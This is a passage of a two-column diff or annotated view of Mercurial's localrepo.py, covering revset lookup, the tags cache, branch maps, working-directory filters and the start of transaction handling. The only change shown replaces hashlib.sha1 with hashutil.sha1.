1643 Revset aliases from the configuration are not expanded. To expand
1644 user aliases, consider calling ``scmutil.revrange()`` or
1644 user aliases, consider calling ``scmutil.revrange()`` or
1645 ``repo.anyrevs([expr], user=True)``.
1645 ``repo.anyrevs([expr], user=True)``.
1646
1646
1647 Returns a revset.abstractsmartset, which is a list-like interface
1647 Returns a revset.abstractsmartset, which is a list-like interface
1648 that contains integer revisions.
1648 that contains integer revisions.
1649 '''
1649 '''
1650 tree = revsetlang.spectree(expr, *args)
1650 tree = revsetlang.spectree(expr, *args)
1651 return revset.makematcher(tree)(self)
1651 return revset.makematcher(tree)(self)
1652
1652
1653 def set(self, expr, *args):
1653 def set(self, expr, *args):
1654 '''Find revisions matching a revset and emit changectx instances.
1654 '''Find revisions matching a revset and emit changectx instances.
1655
1655
1656 This is a convenience wrapper around ``revs()`` that iterates the
1656 This is a convenience wrapper around ``revs()`` that iterates the
1657 result and is a generator of changectx instances.
1657 result and is a generator of changectx instances.
1658
1658
1659 Revset aliases from the configuration are not expanded. To expand
1659 Revset aliases from the configuration are not expanded. To expand
1660 user aliases, consider calling ``scmutil.revrange()``.
1660 user aliases, consider calling ``scmutil.revrange()``.
1661 '''
1661 '''
1662 for r in self.revs(expr, *args):
1662 for r in self.revs(expr, *args):
1663 yield self[r]
1663 yield self[r]
1664
1664
1665 def anyrevs(self, specs, user=False, localalias=None):
1665 def anyrevs(self, specs, user=False, localalias=None):
1666 '''Find revisions matching one of the given revsets.
1666 '''Find revisions matching one of the given revsets.
1667
1667
1668 Revset aliases from the configuration are not expanded by default. To
1668 Revset aliases from the configuration are not expanded by default. To
1669 expand user aliases, specify ``user=True``. To provide some local
1669 expand user aliases, specify ``user=True``. To provide some local
1670 definitions overriding user aliases, set ``localalias`` to
1670 definitions overriding user aliases, set ``localalias`` to
1671 ``{name: definitionstring}``.
1671 ``{name: definitionstring}``.
1672 '''
1672 '''
1673 if specs == [b'null']:
1673 if specs == [b'null']:
1674 return revset.baseset([nullrev])
1674 return revset.baseset([nullrev])
1675 if user:
1675 if user:
1676 m = revset.matchany(
1676 m = revset.matchany(
1677 self.ui,
1677 self.ui,
1678 specs,
1678 specs,
1679 lookup=revset.lookupfn(self),
1679 lookup=revset.lookupfn(self),
1680 localalias=localalias,
1680 localalias=localalias,
1681 )
1681 )
1682 else:
1682 else:
1683 m = revset.matchany(None, specs, localalias=localalias)
1683 m = revset.matchany(None, specs, localalias=localalias)
1684 return m(self)
1684 return m(self)
1685
1685
1686 def url(self):
1686 def url(self):
1687 return b'file:' + self.root
1687 return b'file:' + self.root
1688
1688
1689 def hook(self, name, throw=False, **args):
1689 def hook(self, name, throw=False, **args):
1690 """Call a hook, passing this repo instance.
1690 """Call a hook, passing this repo instance.
1691
1691
1692 This a convenience method to aid invoking hooks. Extensions likely
1692 This a convenience method to aid invoking hooks. Extensions likely
1693 won't call this unless they have registered a custom hook or are
1693 won't call this unless they have registered a custom hook or are
1694 replacing code that is expected to call a hook.
1694 replacing code that is expected to call a hook.
1695 """
1695 """
1696 return hook.hook(self.ui, self, name, throw, **args)
1696 return hook.hook(self.ui, self, name, throw, **args)
1697
1697
1698 @filteredpropertycache
1698 @filteredpropertycache
1699 def _tagscache(self):
1699 def _tagscache(self):
1700 '''Returns a tagscache object that contains various tags related
1700 '''Returns a tagscache object that contains various tags related
1701 caches.'''
1701 caches.'''
1702
1702
1703 # This simplifies its cache management by having one decorated
1703 # This simplifies its cache management by having one decorated
1704 # function (this one) and the rest simply fetch things from it.
1704 # function (this one) and the rest simply fetch things from it.
1705 class tagscache(object):
1705 class tagscache(object):
1706 def __init__(self):
1706 def __init__(self):
1707 # These two define the set of tags for this repository. tags
1707 # These two define the set of tags for this repository. tags
1708 # maps tag name to node; tagtypes maps tag name to 'global' or
1708 # maps tag name to node; tagtypes maps tag name to 'global' or
1709 # 'local'. (Global tags are defined by .hgtags across all
1709 # 'local'. (Global tags are defined by .hgtags across all
1710 # heads, and local tags are defined in .hg/localtags.)
1710 # heads, and local tags are defined in .hg/localtags.)
1711 # They constitute the in-memory cache of tags.
1711 # They constitute the in-memory cache of tags.
1712 self.tags = self.tagtypes = None
1712 self.tags = self.tagtypes = None
1713
1713
1714 self.nodetagscache = self.tagslist = None
1714 self.nodetagscache = self.tagslist = None
1715
1715
1716 cache = tagscache()
1716 cache = tagscache()
1717 cache.tags, cache.tagtypes = self._findtags()
1717 cache.tags, cache.tagtypes = self._findtags()
1718
1718
1719 return cache
1719 return cache
1720
1720
1721 def tags(self):
1721 def tags(self):
1722 '''return a mapping of tag to node'''
1722 '''return a mapping of tag to node'''
1723 t = {}
1723 t = {}
1724 if self.changelog.filteredrevs:
1724 if self.changelog.filteredrevs:
1725 tags, tt = self._findtags()
1725 tags, tt = self._findtags()
1726 else:
1726 else:
1727 tags = self._tagscache.tags
1727 tags = self._tagscache.tags
1728 rev = self.changelog.rev
1728 rev = self.changelog.rev
1729 for k, v in pycompat.iteritems(tags):
1729 for k, v in pycompat.iteritems(tags):
1730 try:
1730 try:
1731 # ignore tags to unknown nodes
1731 # ignore tags to unknown nodes
1732 rev(v)
1732 rev(v)
1733 t[k] = v
1733 t[k] = v
1734 except (error.LookupError, ValueError):
1734 except (error.LookupError, ValueError):
1735 pass
1735 pass
1736 return t
1736 return t
1737
1737
1738 def _findtags(self):
1738 def _findtags(self):
1739 '''Do the hard work of finding tags. Return a pair of dicts
1739 '''Do the hard work of finding tags. Return a pair of dicts
1740 (tags, tagtypes) where tags maps tag name to node, and tagtypes
1740 (tags, tagtypes) where tags maps tag name to node, and tagtypes
1741 maps tag name to a string like \'global\' or \'local\'.
1741 maps tag name to a string like \'global\' or \'local\'.
1742 Subclasses or extensions are free to add their own tags, but
1742 Subclasses or extensions are free to add their own tags, but
1743 should be aware that the returned dicts will be retained for the
1743 should be aware that the returned dicts will be retained for the
1744 duration of the localrepo object.'''
1744 duration of the localrepo object.'''
1745
1745
1746 # XXX what tagtype should subclasses/extensions use? Currently
1746 # XXX what tagtype should subclasses/extensions use? Currently
1747 # mq and bookmarks add tags, but do not set the tagtype at all.
1747 # mq and bookmarks add tags, but do not set the tagtype at all.
1748 # Should each extension invent its own tag type? Should there
1748 # Should each extension invent its own tag type? Should there
1749 # be one tagtype for all such "virtual" tags? Or is the status
1749 # be one tagtype for all such "virtual" tags? Or is the status
1750 # quo fine?
1750 # quo fine?
1751
1751
1752 # map tag name to (node, hist)
1752 # map tag name to (node, hist)
1753 alltags = tagsmod.findglobaltags(self.ui, self)
1753 alltags = tagsmod.findglobaltags(self.ui, self)
1754 # map tag name to tag type
1754 # map tag name to tag type
1755 tagtypes = dict((tag, b'global') for tag in alltags)
1755 tagtypes = dict((tag, b'global') for tag in alltags)
1756
1756
1757 tagsmod.readlocaltags(self.ui, self, alltags, tagtypes)
1757 tagsmod.readlocaltags(self.ui, self, alltags, tagtypes)
1758
1758
1759 # Build the return dicts. Have to re-encode tag names because
1759 # Build the return dicts. Have to re-encode tag names because
1760 # the tags module always uses UTF-8 (in order not to lose info
1760 # the tags module always uses UTF-8 (in order not to lose info
1761 # writing to the cache), but the rest of Mercurial wants them in
1761 # writing to the cache), but the rest of Mercurial wants them in
1762 # local encoding.
1762 # local encoding.
1763 tags = {}
1763 tags = {}
1764 for (name, (node, hist)) in pycompat.iteritems(alltags):
1764 for (name, (node, hist)) in pycompat.iteritems(alltags):
1765 if node != nullid:
1765 if node != nullid:
1766 tags[encoding.tolocal(name)] = node
1766 tags[encoding.tolocal(name)] = node
1767 tags[b'tip'] = self.changelog.tip()
1767 tags[b'tip'] = self.changelog.tip()
1768 tagtypes = dict(
1768 tagtypes = dict(
1769 [
1769 [
1770 (encoding.tolocal(name), value)
1770 (encoding.tolocal(name), value)
1771 for (name, value) in pycompat.iteritems(tagtypes)
1771 for (name, value) in pycompat.iteritems(tagtypes)
1772 ]
1772 ]
1773 )
1773 )
1774 return (tags, tagtypes)
1774 return (tags, tagtypes)
1775
1775
1776 def tagtype(self, tagname):
1776 def tagtype(self, tagname):
1777 '''
1777 '''
1778 return the type of the given tag. result can be:
1778 return the type of the given tag. result can be:
1779
1779
1780 'local' : a local tag
1780 'local' : a local tag
1781 'global' : a global tag
1781 'global' : a global tag
1782 None : tag does not exist
1782 None : tag does not exist
1783 '''
1783 '''
1784
1784
1785 return self._tagscache.tagtypes.get(tagname)
1785 return self._tagscache.tagtypes.get(tagname)
1786
1786
1787 def tagslist(self):
1787 def tagslist(self):
1788 '''return a list of tags ordered by revision'''
1788 '''return a list of tags ordered by revision'''
1789 if not self._tagscache.tagslist:
1789 if not self._tagscache.tagslist:
1790 l = []
1790 l = []
1791 for t, n in pycompat.iteritems(self.tags()):
1791 for t, n in pycompat.iteritems(self.tags()):
1792 l.append((self.changelog.rev(n), t, n))
1792 l.append((self.changelog.rev(n), t, n))
1793 self._tagscache.tagslist = [(t, n) for r, t, n in sorted(l)]
1793 self._tagscache.tagslist = [(t, n) for r, t, n in sorted(l)]
1794
1794
1795 return self._tagscache.tagslist
1795 return self._tagscache.tagslist
1796
1796
1797 def nodetags(self, node):
1797 def nodetags(self, node):
1798 '''return the tags associated with a node'''
1798 '''return the tags associated with a node'''
1799 if not self._tagscache.nodetagscache:
1799 if not self._tagscache.nodetagscache:
1800 nodetagscache = {}
1800 nodetagscache = {}
1801 for t, n in pycompat.iteritems(self._tagscache.tags):
1801 for t, n in pycompat.iteritems(self._tagscache.tags):
1802 nodetagscache.setdefault(n, []).append(t)
1802 nodetagscache.setdefault(n, []).append(t)
1803 for tags in pycompat.itervalues(nodetagscache):
1803 for tags in pycompat.itervalues(nodetagscache):
1804 tags.sort()
1804 tags.sort()
1805 self._tagscache.nodetagscache = nodetagscache
1805 self._tagscache.nodetagscache = nodetagscache
1806 return self._tagscache.nodetagscache.get(node, [])
1806 return self._tagscache.nodetagscache.get(node, [])
1807
1807
1808 def nodebookmarks(self, node):
1808 def nodebookmarks(self, node):
1809 """return the list of bookmarks pointing to the specified node"""
1809 """return the list of bookmarks pointing to the specified node"""
1810 return self._bookmarks.names(node)
1810 return self._bookmarks.names(node)
1811
1811
1812 def branchmap(self):
1812 def branchmap(self):
1813 '''returns a dictionary {branch: [branchheads]} with branchheads
1813 '''returns a dictionary {branch: [branchheads]} with branchheads
1814 ordered by increasing revision number'''
1814 ordered by increasing revision number'''
1815 return self._branchcaches[self]
1815 return self._branchcaches[self]
1816
1816
1817 @unfilteredmethod
1817 @unfilteredmethod
1818 def revbranchcache(self):
1818 def revbranchcache(self):
1819 if not self._revbranchcache:
1819 if not self._revbranchcache:
1820 self._revbranchcache = branchmap.revbranchcache(self.unfiltered())
1820 self._revbranchcache = branchmap.revbranchcache(self.unfiltered())
1821 return self._revbranchcache
1821 return self._revbranchcache
1822
1822
1823 def branchtip(self, branch, ignoremissing=False):
1823 def branchtip(self, branch, ignoremissing=False):
1824 '''return the tip node for a given branch
1824 '''return the tip node for a given branch
1825
1825
1826 If ignoremissing is True, then this method will not raise an error.
1826 If ignoremissing is True, then this method will not raise an error.
1827 This is helpful for callers that only expect None for a missing branch
1827 This is helpful for callers that only expect None for a missing branch
1828 (e.g. namespace).
1828 (e.g. namespace).
1829
1829
1830 '''
1830 '''
1831 try:
1831 try:
1832 return self.branchmap().branchtip(branch)
1832 return self.branchmap().branchtip(branch)
1833 except KeyError:
1833 except KeyError:
1834 if not ignoremissing:
1834 if not ignoremissing:
1835 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
1835 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
1836 else:
1836 else:
1837 pass
1837 pass
1838
1838
1839 def lookup(self, key):
1839 def lookup(self, key):
1840 node = scmutil.revsymbol(self, key).node()
1840 node = scmutil.revsymbol(self, key).node()
1841 if node is None:
1841 if node is None:
1842 raise error.RepoLookupError(_(b"unknown revision '%s'") % key)
1842 raise error.RepoLookupError(_(b"unknown revision '%s'") % key)
1843 return node
1843 return node
1844
1844
1845 def lookupbranch(self, key):
1845 def lookupbranch(self, key):
1846 if self.branchmap().hasbranch(key):
1846 if self.branchmap().hasbranch(key):
1847 return key
1847 return key
1848
1848
1849 return scmutil.revsymbol(self, key).branch()
1849 return scmutil.revsymbol(self, key).branch()
1850
1850
1851 def known(self, nodes):
1851 def known(self, nodes):
1852 cl = self.changelog
1852 cl = self.changelog
1853 get_rev = cl.index.get_rev
1853 get_rev = cl.index.get_rev
1854 filtered = cl.filteredrevs
1854 filtered = cl.filteredrevs
1855 result = []
1855 result = []
1856 for n in nodes:
1856 for n in nodes:
1857 r = get_rev(n)
1857 r = get_rev(n)
1858 resp = not (r is None or r in filtered)
1858 resp = not (r is None or r in filtered)
1859 result.append(resp)
1859 result.append(resp)
1860 return result
1860 return result
1861
1861
1862 def local(self):
1862 def local(self):
1863 return self
1863 return self
1864
1864
1865 def publishing(self):
1865 def publishing(self):
1866 # it's safe (and desirable) to trust the publish flag unconditionally
1866 # it's safe (and desirable) to trust the publish flag unconditionally
1867 # so that we don't finalize changes shared between users via ssh or nfs
1867 # so that we don't finalize changes shared between users via ssh or nfs
1868 return self.ui.configbool(b'phases', b'publish', untrusted=True)
1868 return self.ui.configbool(b'phases', b'publish', untrusted=True)
1869
1869
1870 def cancopy(self):
1870 def cancopy(self):
1871 # so statichttprepo's override of local() works
1871 # so statichttprepo's override of local() works
1872 if not self.local():
1872 if not self.local():
1873 return False
1873 return False
1874 if not self.publishing():
1874 if not self.publishing():
1875 return True
1875 return True
1876 # if publishing we can't copy if there is filtered content
1876 # if publishing we can't copy if there is filtered content
1877 return not self.filtered(b'visible').changelog.filteredrevs
1877 return not self.filtered(b'visible').changelog.filteredrevs
1878
1878
1879 def shared(self):
1879 def shared(self):
1880 '''the type of shared repository (None if not shared)'''
1880 '''the type of shared repository (None if not shared)'''
1881 if self.sharedpath != self.path:
1881 if self.sharedpath != self.path:
1882 return b'store'
1882 return b'store'
1883 return None
1883 return None
1884
1884
1885 def wjoin(self, f, *insidef):
1885 def wjoin(self, f, *insidef):
1886 return self.vfs.reljoin(self.root, f, *insidef)
1886 return self.vfs.reljoin(self.root, f, *insidef)
1887
1887
1888 def setparents(self, p1, p2=nullid):
1888 def setparents(self, p1, p2=nullid):
1889 self[None].setparents(p1, p2)
1889 self[None].setparents(p1, p2)
1890
1890
1891 def filectx(self, path, changeid=None, fileid=None, changectx=None):
1891 def filectx(self, path, changeid=None, fileid=None, changectx=None):
1892 """changeid must be a changeset revision, if specified.
1892 """changeid must be a changeset revision, if specified.
1893 fileid can be a file revision or node."""
1893 fileid can be a file revision or node."""
1894 return context.filectx(
1894 return context.filectx(
1895 self, path, changeid, fileid, changectx=changectx
1895 self, path, changeid, fileid, changectx=changectx
1896 )
1896 )
1897
1897
1898 def getcwd(self):
1898 def getcwd(self):
1899 return self.dirstate.getcwd()
1899 return self.dirstate.getcwd()
1900
1900
1901 def pathto(self, f, cwd=None):
1901 def pathto(self, f, cwd=None):
1902 return self.dirstate.pathto(f, cwd)
1902 return self.dirstate.pathto(f, cwd)
1903
1903
1904 def _loadfilter(self, filter):
1904 def _loadfilter(self, filter):
1905 if filter not in self._filterpats:
1905 if filter not in self._filterpats:
1906 l = []
1906 l = []
1907 for pat, cmd in self.ui.configitems(filter):
1907 for pat, cmd in self.ui.configitems(filter):
1908 if cmd == b'!':
1908 if cmd == b'!':
1909 continue
1909 continue
1910 mf = matchmod.match(self.root, b'', [pat])
1910 mf = matchmod.match(self.root, b'', [pat])
1911 fn = None
1911 fn = None
1912 params = cmd
1912 params = cmd
1913 for name, filterfn in pycompat.iteritems(self._datafilters):
1913 for name, filterfn in pycompat.iteritems(self._datafilters):
1914 if cmd.startswith(name):
1914 if cmd.startswith(name):
1915 fn = filterfn
1915 fn = filterfn
1916 params = cmd[len(name) :].lstrip()
1916 params = cmd[len(name) :].lstrip()
1917 break
1917 break
1918 if not fn:
1918 if not fn:
1919 fn = lambda s, c, **kwargs: procutil.filter(s, c)
1919 fn = lambda s, c, **kwargs: procutil.filter(s, c)
1920 fn.__name__ = 'commandfilter'
1920 fn.__name__ = 'commandfilter'
1921 # Wrap old filters not supporting keyword arguments
1921 # Wrap old filters not supporting keyword arguments
1922 if not pycompat.getargspec(fn)[2]:
1922 if not pycompat.getargspec(fn)[2]:
1923 oldfn = fn
1923 oldfn = fn
1924 fn = lambda s, c, oldfn=oldfn, **kwargs: oldfn(s, c)
1924 fn = lambda s, c, oldfn=oldfn, **kwargs: oldfn(s, c)
1925 fn.__name__ = 'compat-' + oldfn.__name__
1925 fn.__name__ = 'compat-' + oldfn.__name__
1926 l.append((mf, fn, params))
1926 l.append((mf, fn, params))
1927 self._filterpats[filter] = l
1927 self._filterpats[filter] = l
1928 return self._filterpats[filter]
1928 return self._filterpats[filter]
1929
1929
1930 def _filter(self, filterpats, filename, data):
1930 def _filter(self, filterpats, filename, data):
1931 for mf, fn, cmd in filterpats:
1931 for mf, fn, cmd in filterpats:
1932 if mf(filename):
1932 if mf(filename):
1933 self.ui.debug(
1933 self.ui.debug(
1934 b"filtering %s through %s\n"
1934 b"filtering %s through %s\n"
1935 % (filename, cmd or pycompat.sysbytes(fn.__name__))
1935 % (filename, cmd or pycompat.sysbytes(fn.__name__))
1936 )
1936 )
1937 data = fn(data, cmd, ui=self.ui, repo=self, filename=filename)
1937 data = fn(data, cmd, ui=self.ui, repo=self, filename=filename)
1938 break
1938 break
1939
1939
1940 return data
1940 return data
1941
1941
1942 @unfilteredpropertycache
1942 @unfilteredpropertycache
1943 def _encodefilterpats(self):
1943 def _encodefilterpats(self):
1944 return self._loadfilter(b'encode')
1944 return self._loadfilter(b'encode')
1945
1945
1946 @unfilteredpropertycache
1946 @unfilteredpropertycache
1947 def _decodefilterpats(self):
1947 def _decodefilterpats(self):
1948 return self._loadfilter(b'decode')
1948 return self._loadfilter(b'decode')
1949
1949
1950 def adddatafilter(self, name, filter):
1950 def adddatafilter(self, name, filter):
1951 self._datafilters[name] = filter
1951 self._datafilters[name] = filter
1952
1952
1953 def wread(self, filename):
1953 def wread(self, filename):
1954 if self.wvfs.islink(filename):
1954 if self.wvfs.islink(filename):
1955 data = self.wvfs.readlink(filename)
1955 data = self.wvfs.readlink(filename)
1956 else:
1956 else:
1957 data = self.wvfs.read(filename)
1957 data = self.wvfs.read(filename)
1958 return self._filter(self._encodefilterpats, filename, data)
1958 return self._filter(self._encodefilterpats, filename, data)
1959
1959
1960 def wwrite(self, filename, data, flags, backgroundclose=False, **kwargs):
1960 def wwrite(self, filename, data, flags, backgroundclose=False, **kwargs):
1961 """write ``data`` into ``filename`` in the working directory
1961 """write ``data`` into ``filename`` in the working directory
1962
1962
1963 This returns length of written (maybe decoded) data.
1963 This returns length of written (maybe decoded) data.
1964 """
1964 """
1965 data = self._filter(self._decodefilterpats, filename, data)
1965 data = self._filter(self._decodefilterpats, filename, data)
1966 if b'l' in flags:
1966 if b'l' in flags:
1967 self.wvfs.symlink(data, filename)
1967 self.wvfs.symlink(data, filename)
1968 else:
1968 else:
1969 self.wvfs.write(
1969 self.wvfs.write(
1970 filename, data, backgroundclose=backgroundclose, **kwargs
1970 filename, data, backgroundclose=backgroundclose, **kwargs
1971 )
1971 )
1972 if b'x' in flags:
1972 if b'x' in flags:
1973 self.wvfs.setflags(filename, False, True)
1973 self.wvfs.setflags(filename, False, True)
1974 else:
1974 else:
1975 self.wvfs.setflags(filename, False, False)
1975 self.wvfs.setflags(filename, False, False)
1976 return len(data)
1976 return len(data)
1977
1977
1978 def wwritedata(self, filename, data):
1978 def wwritedata(self, filename, data):
1979 return self._filter(self._decodefilterpats, filename, data)
1979 return self._filter(self._decodefilterpats, filename, data)
1980
1980
1981 def currenttransaction(self):
1981 def currenttransaction(self):
1982 """return the current transaction or None if non exists"""
1982 """return the current transaction or None if non exists"""
1983 if self._transref:
1983 if self._transref:
1984 tr = self._transref()
1984 tr = self._transref()
1985 else:
1985 else:
1986 tr = None
1986 tr = None
1987
1987
1988 if tr and tr.running():
1988 if tr and tr.running():
1989 return tr
1989 return tr
1990 return None
1990 return None
1991
1991
1992 def transaction(self, desc, report=None):
1992 def transaction(self, desc, report=None):
1993 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
1993 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
1994 b'devel', b'check-locks'
1994 b'devel', b'check-locks'
1995 ):
1995 ):
1996 if self._currentlock(self._lockref) is None:
1996 if self._currentlock(self._lockref) is None:
1997 raise error.ProgrammingError(b'transaction requires locking')
1997 raise error.ProgrammingError(b'transaction requires locking')
1998 tr = self.currenttransaction()
1998 tr = self.currenttransaction()
1999 if tr is not None:
1999 if tr is not None:
2000 return tr.nest(name=desc)
2000 return tr.nest(name=desc)
2001
2001
2002 # abort here if the journal already exists
2002 # abort here if the journal already exists
2003 if self.svfs.exists(b"journal"):
2003 if self.svfs.exists(b"journal"):
2004 raise error.RepoError(
2004 raise error.RepoError(
2005 _(b"abandoned transaction found"),
2005 _(b"abandoned transaction found"),
2006 hint=_(b"run 'hg recover' to clean up transaction"),
2006 hint=_(b"run 'hg recover' to clean up transaction"),
2007 )
2007 )
2008
2008
2009 idbase = b"%.40f#%f" % (random.random(), time.time())
2009 idbase = b"%.40f#%f" % (random.random(), time.time())
2010 ha = hex(hashlib.sha1(idbase).digest())
2010 ha = hex(hashutil.sha1(idbase).digest())
2011 txnid = b'TXN:' + ha
2011 txnid = b'TXN:' + ha
2012 self.hook(b'pretxnopen', throw=True, txnname=desc, txnid=txnid)
2012 self.hook(b'pretxnopen', throw=True, txnname=desc, txnid=txnid)
2013
2013
2014 self._writejournal(desc)
2014 self._writejournal(desc)
2015 renames = [(vfs, x, undoname(x)) for vfs, x in self._journalfiles()]
2015 renames = [(vfs, x, undoname(x)) for vfs, x in self._journalfiles()]
2016 if report:
2016 if report:
2017 rp = report
2017 rp = report
2018 else:
2018 else:
2019 rp = self.ui.warn
2019 rp = self.ui.warn
2020 vfsmap = {b'plain': self.vfs, b'store': self.svfs} # root of .hg/
2020 vfsmap = {b'plain': self.vfs, b'store': self.svfs} # root of .hg/
2021 # we must avoid cyclic reference between repo and transaction.
2021 # we must avoid cyclic reference between repo and transaction.
2022 reporef = weakref.ref(self)
2022 reporef = weakref.ref(self)
2023 # Code to track tag movement
2023 # Code to track tag movement
2024 #
2024 #
2025 # Since tags are all handled as file content, it is actually quite hard
2025 # Since tags are all handled as file content, it is actually quite hard
2026 # to track these movement from a code perspective. So we fallback to a
2026 # to track these movement from a code perspective. So we fallback to a
2027 # tracking at the repository level. One could envision to track changes
2027 # tracking at the repository level. One could envision to track changes
2028 # to the '.hgtags' file through changegroup apply but that fails to
2028 # to the '.hgtags' file through changegroup apply but that fails to
2029 # cope with case where transaction expose new heads without changegroup
2029 # cope with case where transaction expose new heads without changegroup
2030 # being involved (eg: phase movement).
2030 # being involved (eg: phase movement).
2031 #
2031 #
2032 # For now, We gate the feature behind a flag since this likely comes
2032 # For now, We gate the feature behind a flag since this likely comes
2033 # with performance impacts. The current code run more often than needed
2033 # with performance impacts. The current code run more often than needed
2034 # and do not use caches as much as it could. The current focus is on
2034 # and do not use caches as much as it could. The current focus is on
2035 # the behavior of the feature so we disable it by default. The flag
2035 # the behavior of the feature so we disable it by default. The flag
2036 # will be removed when we are happy with the performance impact.
2036 # will be removed when we are happy with the performance impact.
2037 #
2037 #
2038 # Once this feature is no longer experimental move the following
2038 # Once this feature is no longer experimental move the following
2039 # documentation to the appropriate help section:
2039 # documentation to the appropriate help section:
2040 #
2040 #
2041 # The ``HG_TAG_MOVED`` variable will be set if the transaction touched
2041 # The ``HG_TAG_MOVED`` variable will be set if the transaction touched
2042 # tags (new or changed or deleted tags). In addition the details of
2042 # tags (new or changed or deleted tags). In addition the details of
2043 # these changes are made available in a file at:
2043 # these changes are made available in a file at:
2044 # ``REPOROOT/.hg/changes/tags.changes``.
2044 # ``REPOROOT/.hg/changes/tags.changes``.
2045 # Make sure you check for HG_TAG_MOVED before reading that file as it
2045 # Make sure you check for HG_TAG_MOVED before reading that file as it
2046 # might exist from a previous transaction even if no tag were touched
2046 # might exist from a previous transaction even if no tag were touched
2047 # in this one. Changes are recorded in a line base format::
2047 # in this one. Changes are recorded in a line base format::
2048 #
2048 #
2049 # <action> <hex-node> <tag-name>\n
2049 # <action> <hex-node> <tag-name>\n
2050 #
2050 #
2051 # Actions are defined as follow:
2051 # Actions are defined as follow:
2052 # "-R": tag is removed,
2052 # "-R": tag is removed,
2053 # "+A": tag is added,
2053 # "+A": tag is added,
2054 # "-M": tag is moved (old value),
2054 # "-M": tag is moved (old value),
2055 # "+M": tag is moved (new value),
2055 # "+M": tag is moved (new value),
2056 tracktags = lambda x: None
2056 tracktags = lambda x: None
2057 # experimental config: experimental.hook-track-tags
2057 # experimental config: experimental.hook-track-tags
2058 shouldtracktags = self.ui.configbool(
2058 shouldtracktags = self.ui.configbool(
2059 b'experimental', b'hook-track-tags'
2059 b'experimental', b'hook-track-tags'
2060 )
2060 )
2061 if desc != b'strip' and shouldtracktags:
2061 if desc != b'strip' and shouldtracktags:
2062 oldheads = self.changelog.headrevs()
2062 oldheads = self.changelog.headrevs()
2063
2063
2064 def tracktags(tr2):
2064 def tracktags(tr2):
2065 repo = reporef()
2065 repo = reporef()
2066 oldfnodes = tagsmod.fnoderevs(repo.ui, repo, oldheads)
2066 oldfnodes = tagsmod.fnoderevs(repo.ui, repo, oldheads)
2067 newheads = repo.changelog.headrevs()
2067 newheads = repo.changelog.headrevs()
2068 newfnodes = tagsmod.fnoderevs(repo.ui, repo, newheads)
2068 newfnodes = tagsmod.fnoderevs(repo.ui, repo, newheads)
2069 # notes: we compare lists here.
2069 # notes: we compare lists here.
2070 # As we do it only once buiding set would not be cheaper
2070 # As we do it only once buiding set would not be cheaper
2071 changes = tagsmod.difftags(repo.ui, repo, oldfnodes, newfnodes)
2071 changes = tagsmod.difftags(repo.ui, repo, oldfnodes, newfnodes)
2072 if changes:
2072 if changes:
2073 tr2.hookargs[b'tag_moved'] = b'1'
2073 tr2.hookargs[b'tag_moved'] = b'1'
2074 with repo.vfs(
2074 with repo.vfs(
2075 b'changes/tags.changes', b'w', atomictemp=True
2075 b'changes/tags.changes', b'w', atomictemp=True
2076 ) as changesfile:
2076 ) as changesfile:
2077 # note: we do not register the file to the transaction
2077 # note: we do not register the file to the transaction
2078 # because we needs it to still exist on the transaction
2078 # because we needs it to still exist on the transaction
2079 # is close (for txnclose hooks)
2079 # is close (for txnclose hooks)
2080 tagsmod.writediff(changesfile, changes)
2080 tagsmod.writediff(changesfile, changes)
2081
2081
2082 def validate(tr2):
2082 def validate(tr2):
2083 """will run pre-closing hooks"""
2083 """will run pre-closing hooks"""
2084 # XXX the transaction API is a bit lacking here so we take a hacky
2084 # XXX the transaction API is a bit lacking here so we take a hacky
2085 # path for now
2085 # path for now
2086 #
2086 #
2087 # We cannot add this as a "pending" hooks since the 'tr.hookargs'
2087 # We cannot add this as a "pending" hooks since the 'tr.hookargs'
2088 # dict is copied before these run. In addition we needs the data
2088 # dict is copied before these run. In addition we needs the data
2089 # available to in memory hooks too.
2089 # available to in memory hooks too.
2090 #
2090 #
2091 # Moreover, we also need to make sure this runs before txnclose
2091 # Moreover, we also need to make sure this runs before txnclose
2092 # hooks and there is no "pending" mechanism that would execute
2092 # hooks and there is no "pending" mechanism that would execute
2093 # logic only if hooks are about to run.
2093 # logic only if hooks are about to run.
2094 #
2094 #
2095 # Fixing this limitation of the transaction is also needed to track
2095 # Fixing this limitation of the transaction is also needed to track
2096 # other families of changes (bookmarks, phases, obsolescence).
2096 # other families of changes (bookmarks, phases, obsolescence).
2097 #
2097 #
2098 # This will have to be fixed before we remove the experimental
2098 # This will have to be fixed before we remove the experimental
2099 # gating.
2099 # gating.
2100 tracktags(tr2)
2100 tracktags(tr2)
2101 repo = reporef()
2101 repo = reporef()
2102
2102
2103 singleheadopt = (b'experimental', b'single-head-per-branch')
2103 singleheadopt = (b'experimental', b'single-head-per-branch')
2104 singlehead = repo.ui.configbool(*singleheadopt)
2104 singlehead = repo.ui.configbool(*singleheadopt)
2105 if singlehead:
2105 if singlehead:
2106 singleheadsub = repo.ui.configsuboptions(*singleheadopt)[1]
2106 singleheadsub = repo.ui.configsuboptions(*singleheadopt)[1]
2107 accountclosed = singleheadsub.get(
2107 accountclosed = singleheadsub.get(
2108 b"account-closed-heads", False
2108 b"account-closed-heads", False
2109 )
2109 )
2110 scmutil.enforcesinglehead(repo, tr2, desc, accountclosed)
2110 scmutil.enforcesinglehead(repo, tr2, desc, accountclosed)
2111 if hook.hashook(repo.ui, b'pretxnclose-bookmark'):
2111 if hook.hashook(repo.ui, b'pretxnclose-bookmark'):
2112 for name, (old, new) in sorted(
2112 for name, (old, new) in sorted(
2113 tr.changes[b'bookmarks'].items()
2113 tr.changes[b'bookmarks'].items()
2114 ):
2114 ):
2115 args = tr.hookargs.copy()
2115 args = tr.hookargs.copy()
2116 args.update(bookmarks.preparehookargs(name, old, new))
2116 args.update(bookmarks.preparehookargs(name, old, new))
2117 repo.hook(
2117 repo.hook(
2118 b'pretxnclose-bookmark',
2118 b'pretxnclose-bookmark',
2119 throw=True,
2119 throw=True,
2120 **pycompat.strkwargs(args)
2120 **pycompat.strkwargs(args)
2121 )
2121 )
2122 if hook.hashook(repo.ui, b'pretxnclose-phase'):
2122 if hook.hashook(repo.ui, b'pretxnclose-phase'):
2123 cl = repo.unfiltered().changelog
2123 cl = repo.unfiltered().changelog
2124 for rev, (old, new) in tr.changes[b'phases'].items():
2124 for rev, (old, new) in tr.changes[b'phases'].items():
2125 args = tr.hookargs.copy()
2125 args = tr.hookargs.copy()
2126 node = hex(cl.node(rev))
